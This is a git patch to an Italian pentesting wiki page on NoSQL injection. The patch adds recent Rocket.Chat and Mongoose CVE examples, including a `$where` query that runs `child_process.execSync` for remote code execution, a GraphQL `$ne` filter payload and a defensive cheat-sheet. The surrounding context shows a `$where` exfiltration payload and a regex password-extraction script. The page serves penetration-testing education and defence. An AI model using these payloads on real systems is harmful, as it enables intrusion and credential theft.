From 9c5ea2cbb07c489227082b72026f1d50bf626238 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:38:34 +0000 Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to it --- src/pentesting-web/nosql-injection.md | 42 +++++++++++++++++++++++++-- 1 file changed, 40 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 2520e72dc..c5e0c8cf9 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## Exploit -In PHP puoi inviare un Array cambiando il parametro inviato da _parameter=foo_ a _parameter\[arrName]=foo._ +In PHP puoi inviare un Array cambiando il parametro inviato da _parameter=foo_ a _parameter[arrName]=foo._ Gli exploit si basano sull'aggiunta di un **Operatore**: ```bash @@ -114,6 +114,40 @@ Inietta `throw new Error(JSON.stringify(this))` in una clausola `$where` per esf ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## Recent CVEs & Real-World Exploits (2023-2025) + +### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 +Le versioni ≤ 6.0.0 esponevano il metodo Meteor `listEmojiCustom` che inoltrava un oggetto **selector** controllato dall'utente direttamente a `find()`. Iniettando operatori come `{"$where":"sleep(2000)||true"}` un attaccante non autenticato poteva costruire un oracolo di temporizzazione ed esfiltrare documenti. Il bug è stato corretto nella 6.0.1 validando la forma dello selector e rimuovendo operatori pericolosi. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +Quando `populate()` viene utilizzato con l'opzione `match`, Mongoose (≤ 8.8.2) copiava l'oggetto parola per parola *prima* di inviarlo a MongoDB. Fornire `$where` quindi eseguiva JavaScript **all'interno di Node.js** anche se JS lato server era disabilitato su MongoDB: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +Il primo patch (8.8.3) ha bloccato `$where` di primo livello, ma annidarlo sotto `$or` ha eluso il filtro, portando a CVE-2025-23061. Il problema è stato completamente risolto in 8.9.5, e una nuova opzione di connessione `sanitizeFilter: true` è stata introdotta. + +### Confusione tra GraphQL e filtro Mongo +I resolver che inoltrano `args.filter` direttamente in `collection.find()` rimangono vulnerabili: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigazioni: rimuovere ricorsivamente le chiavi che iniziano con `$`, mappare esplicitamente gli operatori consentiti o convalidare con librerie di schema (Joi, Zod). + +## Defensive Cheat-Sheet (aggiornato 2025) + +1. Rimuovere o rifiutare qualsiasi chiave che inizia con `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. Disabilitare JavaScript lato server su MongoDB self-hosted (`--noscripting`, predefinito in v7.0+). +3. Preferire `$expr` e costruttori di aggregazione invece di `$where`. +4. Convalidare i tipi di dati precocemente (Joi/Ajv) e non consentire array dove ci si aspetta scalari per evitare trucchi `[$ne]`. +5. Per GraphQL, tradurre gli argomenti di filtro attraverso una lista di autorizzazione; non espandere mai oggetti non attendibili. + ## MongoDB Payloads Elenco [da qui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,9 +260,10 @@ for u in get_usernames(""): get_password(u) ``` ## Strumenti - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) ## Riferimenti @@ -236,5 +272,7 @@ get_password(u) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}